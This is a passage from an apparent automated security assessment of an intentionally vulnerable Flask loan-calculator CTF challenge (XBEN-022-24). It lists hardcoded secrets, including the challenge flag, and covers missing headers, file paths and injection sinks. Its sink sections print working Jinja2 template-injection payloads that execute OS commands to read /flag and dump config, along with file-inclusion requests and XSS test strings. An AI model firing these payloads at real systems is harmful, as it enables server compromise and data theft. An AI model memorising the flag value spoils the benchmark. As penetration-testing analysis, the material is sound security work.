   - `int(request.form['loan_term_months'])` - Same issue
   - **Problem:** No error handling; invalid input causes 500 Internal Server Error

**Validation Absent:**
- ❌ Username/password format validation
- ❌ Email format validation (accepts arbitrary strings)
- ❌ Numeric range validation (can set negative loan amounts)
- ❌ String length validation (beyond database column limits)
- ❌ File type validation (arbitrary file uploads)
- ❌ File size limits
- ❌ Filename sanitization
- ❌ Template injection prevention (critical failure in `/total_loan_payments`)

**Recommended Validation Libraries (Not Used):**
- flask-wtf (forms and CSRF protection)
- marshmallow (schema validation)
- pydantic (data validation)
- wtforms (form validation)

### Background Processing

**Status: NOT IMPLEMENTED**

No evidence of:
- Asynchronous job queues (Celery, RQ, Huey)
- Background workers
- Cron jobs
- Message queues
- Scheduled tasks

All processing is synchronous request-response within Flask routes.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**CRITICAL FINDING: All Secrets Hardcoded in Source Code**

**Secrets Inventory:**

| Secret | Value | Location | Exposure |
|--------|-------|----------|----------|
| Flask Secret Key | `'your_secret_key'` | `/app/website/app/__init__.py:8` | Source code, VCS |
| DB Root Password | `loan_calculator` | `/app/website/app/__init__.py:11` | Source code, VCS |
| DB Root Password | `loan_calculator` | `/mysql/Dockerfile:6` | Docker image layers |
| DB Root Password | `loan_calculator` | `/docker-compose.yml:8` | Docker Compose file |
| CTF Flag | `flag{61136ced-0d3f-41f6-893f-a0a8a02da41b}` | `/.env:1` | Environment file |
| CTF Flag | (same) | Container filesystem `/flag` | `/app/Dockerfile:20-21` |

**Secret Management Failures:**
- ❌ No secret rotation mechanisms
- ❌ No external secret management (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault)
- ❌ No Kubernetes Secrets integration
- ❌ No encrypted configuration files
- ❌ Environment variables not used for runtime secrets (`.env` only used for build-time flag)
- ❌ Secrets committed to version control (permanent history)

**Flag Storage for CTF Challenge:**
- **Build-time:** `ARG FLAG` passed to Docker build, `RUN echo -n $FLAG > /flag` (Dockerfile lines 20-21)
- **Runtime:** Flag file readable at `/flag` in container filesystem
- **Permissions:** Likely readable by `www-data` user (Flask runs as www-data)
- **Exploitation:** SSTI vulnerability enables flag read via file access in template injection

### Configuration Security

**Application Configuration:**
- **File:** `/app/website/app/__init__.py`
- **Environment Separation:** NONE - single configuration for all environments
- **Debug Mode:** Not explicitly set (defaults to `False` in production, but should be explicit)
- **Configuration Issues:**
  - Hardcoded database URI (line 11)
  - Hardcoded secret key (line 8)
  - No environment-specific configs (dev/staging/prod)
  - No configuration inheritance or override mechanism

**Security Headers Configuration:**

**Apache Configuration Analysis:**
- **File:** `/app/ssti_include_loan_calculator-httpd.conf`
- **Port:** 80 (HTTP only, no SSL configuration)
- **Headers Set:**
  - `Access-Control-Allow-Origin: *` (line 11) - INSECURE CORS
- **Missing Headers:**
  - ❌ `Strict-Transport-Security` (HSTS) - No HTTPS enforcement
  - ❌ `Content-Security-Policy` (CSP) - No XSS/injection mitigation
  - ❌ `X-Frame-Options` - Clickjacking vulnerable
  - ❌ `X-Content-Type-Options: nosniff` - MIME sniffing allowed
  - ❌ `X-XSS-Protection` - No legacy browser protection
  - ❌ `Referrer-Policy` - Referrer leakage possible

**Cache-Control Headers:**
- **File:** `/app/website/app/routes.py:11-14`
- **Attempt:** Sets cache control headers
- **BUG:** Modifies `request.headers` instead of `response.headers` - non-functional
- **Contradiction:** Sets both `no-cache, no-store, must-revalidate` AND `public, max-age=0`

**Infrastructure Configuration (Nginx/CDN/Ingress):**
- **Status:** NOT PRESENT
- No reverse proxy configuration
- No CDN configuration
- No Kubernetes Ingress YAML
- Direct Apache exposure to internet

### External Dependencies

**Python Package Dependencies:**
- **File:** `/app/website/requirements.txt`
```
flask==3.0.3
flask-sqlalchemy==3.1.1
pymysql==1.1.0
```

**Dependency Security Analysis:**
- **Flask 3.0.3:** Released 2024-04-15, current stable version ✓
- **Flask-SQLAlchemy 3.1.1:** Released 2023-10-11, current stable ✓
- **PyMySQL 1.1.0:** Released 2023-06-01, maintained ✓

**Vulnerabilities:** No known CVEs in specified versions (as of knowledge cutoff)

**JavaScript Dependencies (Frontend):**
- **jQuery 3.6.0:** Released 2021-03-02 (outdated, current is 3.7.1)
  - Known vulnerabilities: CVE-2020-11023 (XSS in htmlPrefilter) - partially mitigated in 3.6.0
  - **File:** `/app/website/app/static/js/jquery.min.js`
- **Bootstrap 5.3.0-alpha1:** Alpha/beta version (not production-ready)
  - **File:** `/app/website/app/static/js/bootstrap.bundle.min.js`
  - Should use stable 5.3.x release

**Third-Party Services:**
- **None identified** - Application is self-contained
- No external API calls (confirmed by SSRF sink analysis)
- No payment processors, analytics, CDN, or monitoring services

**Supply Chain Security:**
- ✓ Requirements pinned to exact versions (prevents supply chain attacks via version ranges)
- ❌ No `requirements.lock` or `Pipfile.lock` for transitive dependency locking
- ❌ No dependency vulnerability scanning (Snyk, Dependabot, etc.)
- ❌ No Software Bill of Materials (SBOM)

### Monitoring & Logging

**Logging Configuration:**

**Apache Access Logs:**
- **File:** `/app/ssti_include_loan_calculator-httpd.conf:4`
- **Configuration:** `CustomLog ${APACHE_LOG_DIR}/access.log combined`
- **Format:** Combined log format (IP, timestamp, request, status, referrer, user-agent)
- **Security Issues:**
  - Logs may contain sensitive data (passwords in POST body, session cookies in headers)
  - No log sanitization or PII redaction
  - No structured logging (difficult to parse for SIEM)

**Apache Error Logs:**
- **File:** `/app/ssti_include_loan_calculator-httpd.conf:3`
- **Configuration:** `ErrorLog ${APACHE_LOG_DIR}/error.log`
- **Content:** Server errors, stack traces

**Application-Level Logging:**
- **Status:** NOT IMPLEMENTED
- No Python logging configuration
- No Flask request logging
- No authentication event logging (login success/failure)
- No security event logging (failed authorization, injection attempts)

**Security Event Visibility:**
- ❌ No audit trail for data access
- ❌ No failed login attempt tracking
- ❌ No rate limiting logs
- ❌ No intrusion detection
- ❌ No file upload logging
- ❌ No session creation/destruction logging

**Monitoring Systems:**
- **Status:** NOT IMPLEMENTED
- No APM (Application Performance Monitoring)
- No error tracking (Sentry, Rollbar)
- No uptime monitoring
- No security monitoring (SIEM, IDS/IPS)
- No alerting system

**Health Checks:**
- **Docker Compose Health Checks:** Present for both services
  - **loan_calculator:** `curl -f http://localhost:80/ || exit 1` (docker-compose.yml:24-27)
  - **db:** `mysqladmin ping -h localhost --password=loan_calculator -u root` (docker-compose.yml:8-11)
- **Application Health Endpoint:** NOT IMPLEMENTED (no `/health` or `/status` route)

---

## 7. Overall Codebase Indexing

The XBEN-022-24 codebase follows a traditional monolithic Flask application structure with clear separation of concerns between routing, data models, static assets, and infrastructure configuration. The repository is organized for containerized deployment using Docker Compose, with the primary application code residing in `/app/website/` and infrastructure definitions at the repository root.

**Directory Structure Overview:**

The application root contains infrastructure orchestration files (`docker-compose.yml`, `Makefile`, `.env`, `benchmark.json`) used for building and deploying the containerized environment. The `Makefile` provides convenience targets for common operations: `make build` constructs Docker images, `make up` starts services, `make down` tears down the environment, and `make logs` tails container output. The `.env` file stores the CTF flag as a build argument, demonstrating a common (though insecure) pattern of using environment files for configuration management, though the application itself doesn't leverage environment variables for runtime configuration.

**Application Code Structure (`/app/website/`):**

The Python application follows Flask conventions with a modular structure. The `app/` package contains the core application logic: `__init__.py` initializes the Flask app instance, configures the database connection with hardcoded credentials, sets the weak session secret, and creates a default test user on startup. The `routes.py` file (172 lines) implements all 10 HTTP endpoints using Flask's decorator-based routing pattern, containing the critical SSTI vulnerability at line 168. The `models.py` file defines the single `User` model with plaintext password storage using Flask-SQLAlchemy's declarative base pattern. The `db.py` file instantiates the SQLAlchemy database object as a singleton imported across the application.

**Static Assets Organization (`/app/website/app/static/`):**

Static files are organized by type: `templates/` contains six Jinja2 HTML templates (login.html, home.html, profile.html, loan_details.html, error.html, not_implemented.html), `css/` holds Bootstrap 5.3.0-alpha1 stylesheets and custom styles, `js/` contains jQuery 3.6.0 and Bootstrap JavaScript bundles, and `images/` stores the default profile image and serves as the upload directory for user-submitted files. This organization follows standard Flask conventions where static files are served from the `/static/` URL path, with directory indexing enabled (a security weakness).

**Infrastructure Configuration (`/app/` and `/mysql/`):**

The application deployment uses multi-stage Docker containerization. The `/app/Dockerfile` (26 lines) builds from `debian:bullseye-slim`, installs Apache2 and mod_wsgi-py3, copies application code to `/var/www/loan_calculator/`, configures file permissions for the `www-data` user, and critically, writes the CTF flag to `/flag` during the build process (lines 20-21). The `/app/ssti_include_loan_calculator-httpd.conf` configures Apache with a VirtualHost on port 80, sets the wildcard CORS header, enables directory indexing, and defines the WSGI application entry point. The `/app/website/ssti_include_loan_calculator.wsgi` file serves as the WSGI interface, adding the application directory to Python's path and importing the Flask app instance. The `/mysql/Dockerfile` (7 lines) builds from `mysql:5.7`, sets root password and database name via environment variables, representing a minimal database configuration with no security hardening.

**Build and Deployment Tooling:**

The `docker-compose.yml` orchestrates the two-tier architecture, defining service dependencies (application waits for database health check), network configuration (default bridge network with internal database port exposure), and health check definitions for both services. The health checks use simple liveness probes: HTTP GET for the web application and `mysqladmin ping` for the database. The `benchmark.json` file indicates this is a security benchmark challenge with metadata specifying difficulty level, vulnerability types, and win condition (flag capture). The `Makefile` provides developer convenience commands but does not implement any security scanning, linting, or automated testing in the build pipeline.

**Code Generation and Testing Conventions:**

The repository contains no code generation tooling (no Swagger codegen, GraphQL code generation, or ORM migration generators). The application uses Flask-SQLAlchemy but contains no database migration files (no Alembic migrations directory), suggesting the database schema is created on-demand by SQLAlchemy's `db.create_all()` on application startup (though this call is not visible in the provided code, it's likely in the WSGI initialization). There are no test files, no `tests/` directory, no pytest configuration, and no continuous integration pipeline (no `.github/workflows/`, `.gitlab-ci.yml`, or similar). This absence of testing infrastructure is unusual for production applications but consistent with the security challenge nature of this codebase.

**Discoverability of Security-Relevant Components:**

The codebase structure makes security-relevant components easily discoverable through predictable naming conventions and Flask patterns. All HTTP endpoints are defined in the single `routes.py` file using `@app.route()` decorators, making attack surface enumeration straightforward. Authentication logic is centralized in the `/login` route and the repeated `session.get('user_id')` pattern across protected routes. Input handling occurs directly in route functions without middleware layers, meaning all input validation (or lack thereof) is visible at the endpoint level. Security misconfigurations are discoverable in infrastructure files: the weak session secret is on line 8 of `__init__.py`, database credentials are on line 11 of the same file, and the CORS wildcard is on line 11 of the Apache configuration. The naming convention `ssti_include_loan_calculator` in filenames explicitly signals the presence of SSTI and template inclusion vulnerabilities, confirming this is an intentional vulnerable application for security training.

**Impact on Security Analysis:**

This clear, conventional structure significantly aids penetration testing and vulnerability analysis. The lack of obfuscation, minimal dependencies, and flat architecture mean there are few places for vulnerabilities to hide. The monolithic design with a single routes file containing all endpoints provides a complete attack surface map in one location. The absence of authentication middleware means each endpoint's security checks (or lack thereof) are immediately visible. The static file organization with enabled directory listing allows reconnaissance of templates and uploaded files. The infrastructure-as-code approach with Dockerfiles and docker-compose.yml provides complete visibility into deployment configuration, revealing secrets management failures and network architecture. For a penetration tester, this repository structure represents an ideal scenario: comprehensive discoverability with minimal reverse engineering required.

---

## 8. Critical File Paths

All file paths are listed with absolute paths from the repository root: `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/`

### Configuration
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/docker-compose.yml` - Service orchestration, health checks, database password
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/.env` - CTF flag storage
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/Dockerfile` - Application container build, flag file creation (lines 20-21)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/mysql/Dockerfile` - Database container build, root password
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/ssti_include_loan_calculator-httpd.conf` - Apache configuration, CORS wildcard (line 11), directory indexing
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/ssti_include_loan_calculator.wsgi` - WSGI application entry point
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/Makefile` - Build automation commands
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/benchmark.json` - Challenge metadata, win condition

### Authentication & Authorization
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/__init__.py` - Flask app initialization, weak secret key (line 8), database credentials (line 11), default user creation (lines 19-35)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py` - All authentication endpoints: login (lines 24-38), logout (lines 41-45), session validation pattern (lines 51, 63, 87, 139, 152)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/models.py` - User model with plaintext password field (line 8)

### API & Routing
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py` - All 10 HTTP endpoints (lines 19-172)
  - Root redirect (19-21)
  - Login (24-38)
  - Logout (41-45)
  - Home (48-57)
  - Profile view (60-81)
  - Profile update with file upload (84-119)
  - Error page with template inclusion (122-133)
  - Loan details (136-146)
  - **CRITICAL: SSTI vulnerability in total_loan_payments (149-172, vulnerability at line 168)**
  - After-request cache headers (9-15, buggy implementation)

### Data Models & DB Interaction
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/models.py` - User model definition (lines 5-15), plaintext password storage
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/db.py` - SQLAlchemy database instance
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/__init__.py` - Database configuration (line 11), database initialization

### Dependency Manifests
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/requirements.txt` - Python package dependencies (Flask 3.0.3, Flask-SQLAlchemy 3.1.1, PyMySQL 1.1.0)

### Sensitive Data & Secrets Handling
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/__init__.py` - Hardcoded session secret (line 8), database credentials (line 11)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/.env` - CTF flag in plaintext (line 1)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/Dockerfile` - Flag written to `/flag` file (lines 20-21)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/mysql/Dockerfile` - Database root password (line 6)

### Middleware & Input Validation
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py` - After-request middleware (lines 9-15, buggy implementation)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py` - Path traversal validation in file upload (lines 106-109)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py` - Path traversal validation in template inclusion (lines 127-131)

### Logging & Monitoring
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/ssti_include_loan_calculator-httpd.conf` - Apache access and error log configuration (lines 3-4)

### Infrastructure & Deployment
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/docker-compose.yml` - Two-tier service architecture, health checks (lines 8-11, 24-27)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/Dockerfile` - Application container image build
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/mysql/Dockerfile` - Database container image build
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/ssti_include_loan_calculator-httpd.conf` - Apache VirtualHost configuration, CORS wildcard (line 11), directory indexing (lines 15, 22)

### CTF Flag Storage
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/.env` - Flag definition (line 1: `FLAG="flag{61136ced-0d3f-41f6-893f-a0a8a02da41b}"`)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/Dockerfile` - Flag written to `/flag` in container (lines 20-21: `ARG FLAG` and `RUN echo -n $FLAG > /flag`)
- **Runtime Flag Location:** `/flag` in the loan_calculator container filesystem

### Templates (HTML/Jinja2)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/login.html` - Login form (lines 19-24)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/home.html` - User dashboard
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/profile.html` - Profile view with form inputs (lines 18, 22, 26, 30, 34, 38, 48), profile image display (line 71)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/error.html` - **CRITICAL: Template inclusion vulnerability (line 27: `{% include error_type %}`)**, XSS sink (line 30)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/loan_details.html` - JavaScript context injection (lines 53-55), AJAX call to SSTI endpoint (lines 58-82)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/not_implemented.html` - Not implemented feature template (line 3)

### Static Assets (Client-Side JavaScript/CSS)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/js/jquery.min.js` - jQuery 3.6.0
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/js/bootstrap.bundle.min.js` - Bootstrap 5.3.0-alpha1
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/css/bootstrap.min.css` - Bootstrap CSS
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/css/style.css` - Custom styles

---

## 9. XSS Sinks and Render Contexts

All XSS sink findings include exact file paths and line numbers for precise location identification during manual penetration testing.

### Critical Finding: Server-Side Template Injection (SSTI) - Remote Code Execution

**Sink Type:** Server-Side Template Injection (Jinja2 `render_template_string()`)  
**Execution Context:** Server-side Python code execution via Jinja2 template rendering  
**Severity:** 🚨 CRITICAL - Remote Code Execution (RCE)  
**Scope:** IN-SCOPE (Network-accessible authenticated endpoint)

**Location:**
- **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py`
- **Lines:** 163-168 (vulnerability at line 168)
- **Route:** `GET /total_loan_payments`
- **Authentication:** Required (session-based)

**Vulnerable Code:**
```python
@app.route('/total_loan_payments')
def total_loan_payments():
    user_id = session.get('user_id')
    if user_id:
        principal = request.args.get('principal', type=str)  # Line 155 - STRING TYPE!
        payment = request.args.get('payment', type=float)
        term = request.args.get('term', type=int)
        
        if principal is None or payment is None or term is None:
            return Response('Missing principal, payment or term parameters', status=400)
        
        json_template = f"""
        {{ "loan_principal": "{{{{ principal }}}}" ,"monthly_payment": "{{{{ payment }}}}", "loan_term_amount": "{{{{ term }}}}", "total_loan_payments": "{{{{ payment*term }}}}" }}
        """  # Lines 163-165 - User input in f-string
        
        # CRITICAL VULNERABILITY: render_template_string with user-controlled template
        return render_template_string(json_template, payment=payment, term=term, principal=principal, content_type='application/json')  # Line 168
```

**Data Flow:**
1. User provides `principal` parameter via GET query: `/total_loan_payments?principal=PAYLOAD&payment=100&term=12`
2. `principal` retrieved as `type=str` (line 155) - **NO TYPE COERCION OR VALIDATION**
3. `principal` embedded into f-string template (line 163): `{{ "loan_principal": "{{{{ principal }}}}" }}`
4. Template string passed to `render_template_string()` with `principal` as context variable (line 168)
5. Jinja2 evaluates template, interpreting `principal` content as Jinja2 syntax

**Exploitation:**
```bash
# Basic SSTI confirmation
GET /total_loan_payments?principal={{7*7}}&payment=100&term=12
Response: {"loan_principal": "49", ...}  # 7*7 evaluated

# Configuration disclosure (reveals secret_key)
GET /total_loan_payments?principal={{config.items()}}&payment=100&term=12

# Remote Code Execution - Read flag file
GET /total_loan_payments?principal={{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}&payment=100&term=12
Response: {"loan_principal": "flag{61136ced-0d3f-41f6-893f-a0a8a02da41b}", ...}

# Alternative RCE payload for flag
GET /total_loan_payments?principal={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}&payment=100&term=12
```

**Impact:**
- Complete server compromise via Python code execution
- Direct flag file read (`/flag`) for CTF win condition
- Database credential extraction (`config` object disclosure)
- Filesystem access (read/write arbitrary files)
- Reverse shell establishment

**Render Context:** Server-side Jinja2 template engine with full Python object access

---

### High Severity: Jinja2 Template Inclusion with Local File Inclusion (LFI)

**Sink Type:** Jinja2 `{% include %}` directive with user-controlled path  
**Execution Context:** Server-side template rendering with file inclusion  
**Severity:** HIGH - Information Disclosure, Potential XSS  
**Scope:** IN-SCOPE (Network-accessible public endpoint)

**Location:**
- **Backend File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py`
- **Backend Lines:** 122-133
- **Template File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/error.html`
- **Template Line:** 27 (`{% include error_type %}`)
- **Route:** `GET /error`
- **Authentication:** None (PUBLIC)

**Backend Code:**
```python
@app.route('/error')
def error():
    error_message = request.args.get('message', 'An error occurred.')  # Line 124
    error_type = 'templates/' + request.args.get('error_type', None)  # Line 125
    
    safe_dir = '/var/www/loan_calculator/app/static/'
    final_path = os.path.realpath(os.path.join(safe_dir, error_type))  # Line 128
    
    if os.path.commonprefix((final_path, safe_dir)) != safe_dir:  # Line 130
        return Response('Trying to load a template located ouside the static directory.', status=400)
    
    return render_template('templates/error.html', error_message=error_message, error_type=final_path[len(safe_dir):])  # Line 133
```

**Template Code (error.html):**
```html
{% if error_type %}
    <div class="error-content">
        {% include error_type %}  <!-- Line 27 - INCLUDE DIRECTIVE -->
    </div>
{% else %}
    <p class="error-message">{{ error_message }}</p>  <!-- Line 30 - XSS sink -->
{% endif %}
```

**Data Flow:**
1. User provides `error_type` query parameter: `/error?error_type=../../etc/passwd`
2. Backend prepends `'templates/'` to user input (line 125)
3. Path traversal validation via `os.path.commonprefix()` (lines 128-131)
4. If within `/var/www/loan_calculator/app/static/`, relative path passed to template (line 133)
5. Template uses `{% include error_type %}` to render file content (line 27)

**Exploitation:**
```bash
# Include other templates
GET /error?error_type=templates/profile.html
Response: Renders profile.html template content

# Include uploaded files
GET /error?error_type=images/malicious.html
Response: Renders uploaded file (if attacker uploaded HTML via /update_profile)

# Path traversal (blocked by validation)
GET /error?error_type=../../../../etc/passwd
Response: 400 Bad Request - "Trying to load a template located ouside the static directory."
```

**Impact:**
- Local file inclusion within `/var/www/loan_calculator/app/static/` directory
- Information disclosure (read template source, uploaded files)
- Potential XSS if included file contains JavaScript
- Combined with file upload vulnerability: upload malicious template, include via `/error`

**Render Context:** Jinja2 template inclusion (HTML Body Context)

**Partial Mitigation:** Path traversal protection limits inclusion to static directory only.

---

### Medium Severity: JavaScript Context Injection in Loan Details Page

**Sink Type:** Direct variable interpolation in `<script>` tag  
**Execution Context:** JavaScript code execution in browser  
**Severity:** MEDIUM (mitigated by type coercion)  
**Scope:** IN-SCOPE (Network-accessible authenticated page)

**Location:**
- **Template File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/loan_details.html`
- **Template Lines:** 53-55
- **Backend File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py`
- **Backend Lines:** 136-146 (data source), 71-73 (profile update)
- **Route:** `GET /loan_details`
- **Authentication:** Required

**Template Code:**
```html
<script>
    $(document).ready(function() {
        // Extract loan amount, monthly payment and term from HTML
        var loanAmount = {{ loan_amount }};      // Line 53 - NO QUOTES!
        var loanTerm = {{ loan_term_months }};   // Line 54 - NO QUOTES!
        var monthlyPayment = {{ monthly_payment }}; // Line 55 - NO QUOTES!
```

**Backend Data Source (routes.py):**
```python
@app.route('/loan_details')
def loan_details():
    user_id = session.get('user_id')
    if user_id:
        user = User.query.get(user_id)
        return render_template('templates/loan_details.html', 
            loan_amount=user.loan_amount,           # Line 142 - From database
            loan_term_months=user.loan_term_months,  # Line 143
            monthly_payment=user.monthly_payment)    # Line 143
```

**Profile Update (routes.py):**
```python
user.loan_amount = float(request.form['loan_amount'])        # Line 71
user.loan_term_months = int(request.form['loan_term_months'])  # Line 72
user.monthly_payment = float(request.form['monthly_payment'])   # Line 73
```

**Data Flow:**
1. User updates profile via `/profile` or `/update_profile` with form data
2. Backend applies type coercion: `float()` for loan_amount/monthly_payment, `int()` for loan_term_months
3. Values stored in database
4. `/loan_details` retrieves values from database (lines 142-143)
5. Values interpolated into JavaScript without JSON encoding (lines 53-55)

**Exploitation Scenario:**
```javascript
// If type coercion could be bypassed or database directly modified:
var loanAmount = 1000; alert(document.cookie); //
// Would execute: alert(document.cookie)
```

**Mitigation:**
- Type coercion (`float()`, `int()`) prevents direct string injection
- Database stores numeric types only (Float, Integer columns)
- **However:** If attacker gains direct database access (via SSTI or other vulnerability), could inject malicious values

**Impact:** LOW to MEDIUM - Requires database write access, not directly exploitable via web interface

**Render Context:** JavaScript Context (inside `<script>` tag)

---

### Medium Severity: HTML Attribute Context - Stored XSS Potential

**Sink Type:** Jinja2 variable interpolation in HTML attributes (`value`, `placeholder`)  
**Execution Context:** HTML attribute context  
**Severity:** MEDIUM (mitigated by Jinja2 auto-escaping)  
**Scope:** IN-SCOPE (Network-accessible authenticated page)

**Location:**
- **Template File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/profile.html`
- **Template Lines:** 18, 22, 26, 30, 34, 38, 48, 71
- **Backend File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py`
- **Backend Lines:** 68-73 (profile update)
- **Route:** `GET /profile`
- **Authentication:** Required

**Template Code (Multiple Instances):**
```html
<!-- Line 18 - Name field -->
<input type="text" class="form-control" id="name" name="name" value="{{ user.name }}" required>

<!-- Line 22 - Last name field -->
<input type="text" class="form-control" id="lastname" name="lastname" value="{{ user.lastname }}" required>

<!-- Line 26 - Email field -->
<input type="email" class="form-control" id="email" name="email" value="{{ user.email }}" required>

<!-- Line 30 - Loan amount field -->
<input type="text" class="form-control" id="loan_amount" name="loan_amount" value="{{ user.loan_amount }}" required>

<!-- Line 48 - Image filename placeholder -->
<input type="text" id='text_input_id' class="form-control" placeholder="{{ user.image_profile_filename }}" ...>

<!-- Line 71 - Image src attribute -->
<img src="{{ url_for('static', filename='images/' + user.image_profile_filename) }}" alt="Profile Image" class="img-fluid">
```

**Backend Update Code:**
```python
user.name = request.form['name']              # Line 68 - No validation
user.lastname = request.form['lastname']      # Line 69
user.email = request.form['email']            # Line 70
user.loan_amount = float(request.form['loan_amount'])  # Line 71
# ...
db.session.commit()
```

**Data Flow:**
1. User submits profile update with potentially malicious values
2. Backend stores values in database without sanitization (only type coercion for numeric fields)
3. Profile page renders values in HTML attribute contexts

**Exploitation Attempt:**
```html
<!-- Payload in 'name' field -->
" onclick="alert(document.cookie)" data-x="

<!-- Resulting HTML (if unescaped) -->
<input type="text" value="" onclick="alert(document.cookie)" data-x="" required>
```

**Mitigation:**
- **Jinja2 Auto-Escaping:** Flask enables auto-escaping by default for `.html` files
- Quotes are escaped: `"` → `&quot;`, preventing attribute breakout
- Expected rendered output: `value="&quot; onclick=&quot;alert(document.cookie)&quot; data-x=&quot;"`

**Verification Needed:** Confirm Jinja2 auto-escaping is enabled (default behavior but should verify configuration)

**Impact:** LOW - Mitigated by framework defaults, but requires penetration testing confirmation

**Render Context:** HTML Attribute Context

---

### Medium Severity: Reflected XSS in Error Message Parameter

**Sink Type:** Jinja2 variable interpolation in HTML Body  
**Execution Context:** HTML Body Context  
**Severity:** MEDIUM (mitigated by Jinja2 auto-escaping)  
**Scope:** IN-SCOPE (Network-accessible public endpoint)

**Location:**
- **Template File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/error.html`
- **Template Line:** 30
- **Backend File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/routes.py`
- **Backend Line:** 124
- **Route:** `GET /error`
- **Authentication:** None (PUBLIC)

**Backend Code:**
```python
error_message = request.args.get('message', 'An error occurred.')  # Line 124
return render_template('templates/error.html', error_message=error_message, ...)  # Line 133
```

**Template Code:**
```html
{% else %}
    <p class="error-message">{{ error_message }}</p>  <!-- Line 30 -->
{% endif %}
```

**Data Flow:**
1. User provides `message` query parameter: `/error?message=<script>alert(1)</script>`
2. Backend retrieves value without sanitization (line 124)
3. Template renders value in HTML paragraph (line 30)

**Exploitation Attempt:**
```bash
GET /error?message=<script>alert(document.cookie)</script>
```

**Expected Output (with auto-escaping):**
```html
<p class="error-message">&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>
```

**Mitigation:** Jinja2 auto-escaping converts `<` → `&lt;`, `>` → `&gt;`, preventing script execution

**Impact:** LOW - Auto-escaping should prevent XSS, but manual testing recommended

**Render Context:** HTML Body Context

---

### No XSS Sinks Found in These Categories

**Safe jQuery Usage:**
- **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/loan_details.html`
- **Line 74:** `$('#loanPaymentMessage').text(...)` - Uses `.text()` method (safe, does not interpret HTML)
- **File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/app/website/app/static/templates/profile.html`
- **Line 91:** `$('#text_input_id').val(...)` - Uses `.val()` method (safe, sets value attribute)

**No Dangerous Client-Side Sinks Found:**
- ❌ No `innerHTML` or `outerHTML` usage
- ❌ No `document.write()` or `document.writeln()`
- ❌ No `eval()`, `Function()` constructor, `setTimeout(string)`, `setInterval(string)`
- ❌ No jQuery dangerous methods: `.html()`, `.append()`, `.after()`, `.before()`, `.wrap()`
- ❌ No `insertAdjacentHTML()` or `Range.createContextualFragment()`
- ❌ No dynamic event handler assignment (`onclick`, `onerror`, etc.)

**No SQL Injection Sinks:**
